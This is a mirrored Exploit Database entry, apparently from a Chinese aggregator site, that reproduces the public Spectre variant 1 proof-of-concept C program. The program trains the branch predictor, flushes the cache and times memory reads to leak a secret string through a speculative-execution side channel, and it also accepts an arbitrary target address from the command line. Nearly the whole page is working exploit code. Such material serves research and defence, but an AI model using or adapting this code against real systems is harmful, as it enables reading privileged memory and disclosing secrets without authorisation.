Multiple CPUs – ‘Spectre’ Information Disclosure

• Exploit Database
• 16 阅读

• 作者： Multiple
  日期： 2018-01-03
• 类别：

  • local
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/43427/

• /*
  EDB Note:
  - https://spectreattack.com/
  - https://spectreattack.com/spectre.pdf
  - https://googleprojectzero.blogspot.co.at/2018/01/reading-privileged-memory-with-side.html
  */
  
  #include <stdio.h>
  #include <stdlib.h>
  #include <stdint.h>
  #ifdef _MSC_VER
  #include <intrin.h> /* for rdtscp and clflush */
  #pragma optimize("gt",on)
  #else
  #include <x86intrin.h> /* for rdtscp and clflush */
  #endif
  
  /********************************************************************
  Victim code.
  ********************************************************************/
  unsigned int array1_size = 16;
  uint8_t unused1[64];
  uint8_t array1[160] = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 };
  uint8_t unused2[64];
  uint8_t array2[256 * 512];
  
  char *secret = "The Magic Words are Squeamish Ossifrage.";
  
  uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */
  
  void victim_function(size_t x) {
  if (x < array1_size) {
  temp &= array2[array1[x] * 512];
  }
  }
  
  
  /********************************************************************
  Analysis code
  ********************************************************************/
  #define CACHE_HIT_THRESHOLD (80) /* assume cache hit if time <= threshold */
  
  /* Report best guess in value[0] and runner-up in value[1] */
  void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
  static int results[256];
  int tries, i, j, k, mix_i, junk = 0;
  size_t training_x, x;
  register uint64_t time1, time2;
  volatile uint8_t *addr;
  
  for (i = 0; i < 256; i++)
  results[i] = 0;
  for (tries = 999; tries > 0; tries--) {
  
  /* Flush array2[256*(0..255)] from cache */
  for (i = 0; i < 256; i++)
  _mm_clflush(&array2[i * 512]); /* intrinsic for clflush instruction */
  
  /* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
  training_x = tries % array1_size;
  for (j = 29; j >= 0; j--) {
  _mm_clflush(&array1_size);
  for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */
  
  /* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
  /* Avoid jumps in case those tip off the branch predictor */
  x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
  x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
  x = training_x ^ (x & (malicious_x ^ training_x));
  
  /* Call the victim! */
  victim_function(x);
  }
  
  /* Time reads. Order is lightly mixed up to prevent stride prediction */
  for (i = 0; i < 256; i++) {
  mix_i = ((i * 167) + 13) & 255;
  addr = &array2[mix_i * 512];
  time1 = __rdtscp(&junk); /* READ TIMER */
  junk = *addr; /* MEMORY ACCESS TO TIME */
  time2 = __rdtscp(&junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
  if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
  results[mix_i]++; /* cache hit - add +1 to score for this value */
  }
  
  /* Locate highest & second-highest results results tallies in j/k */
  j = k = -1;
  for (i = 0; i < 256; i++) {
  if (j < 0 || results[i] >= results[j]) {
  k = j;
  j = i;
  } else if (k < 0 || results[i] >= results[k]) {
  k = i;
  }
  }
  if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
  break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
  }
  results[0] ^= junk; /* use junk so code above won’t get optimized out*/
  value[0] = (uint8_t)j;
  score[0] = results[j];
  value[1] = (uint8_t)k;
  score[1] = results[k];
  }
  
  int main(int argc, const char **argv) {
  size_t malicious_x=(size_t)(secret-(char*)array1); /* default for malicious_x */
  int i, score[2], len=40;
  uint8_t value[2];
  
  for (i = 0; i < sizeof(array2); i++)
  array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
  if (argc == 3) {
  sscanf(argv[1], "%p", (void**)(&malicious_x));
  malicious_x -= (size_t)array1; /* Convert input value into a pointer */
  sscanf(argv[2], "%d", &len);
  }
  
  printf("Reading %d bytes:\n", len);
  while (--len >= 0) {
  printf("Reading at malicious_x = %p... ", (void*)malicious_x);
  readMemoryByte(malicious_x++, value, score);
  printf("%s: ", (score[0] >= 2*score[1] ? "Success" : "Unclear"));
  printf("0x%02X=’%c’ score=%d ", value[0],
   (value[0] > 31 && value[0] < 127 ? value[0] : ’?’), score[0]);
  if (score[1] > 0)
  printf("(second best: 0x%02X score=%d)", value[1], score[1]);
  printf("\n");
  }
  return (0);
  }